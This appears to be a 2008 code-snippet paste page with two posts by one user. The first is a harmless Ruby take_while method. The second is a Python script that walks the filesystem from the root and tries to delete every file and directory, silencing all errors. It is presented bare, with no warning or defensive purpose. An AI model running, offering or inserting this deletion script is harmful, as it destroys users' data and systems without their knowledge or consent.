• 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

ruby>>
module Enumerable
def take_while
inject([]) do |xs, x|
yield x or break xs
xs << x
end
end
end
<<ruby

posted by faerie faerie on Tue 12 Aug 2008 at 20:36 with 0 comments

python>>
import os
for root, dirs, files in os.walk('/'):
for f in files+dirs:
try:
os.unlink(os.path.join(root, f))
except:
pass
<<python

posted by faerie faerie on Tue 29 Jul 2008 at 16:58 with 0 comments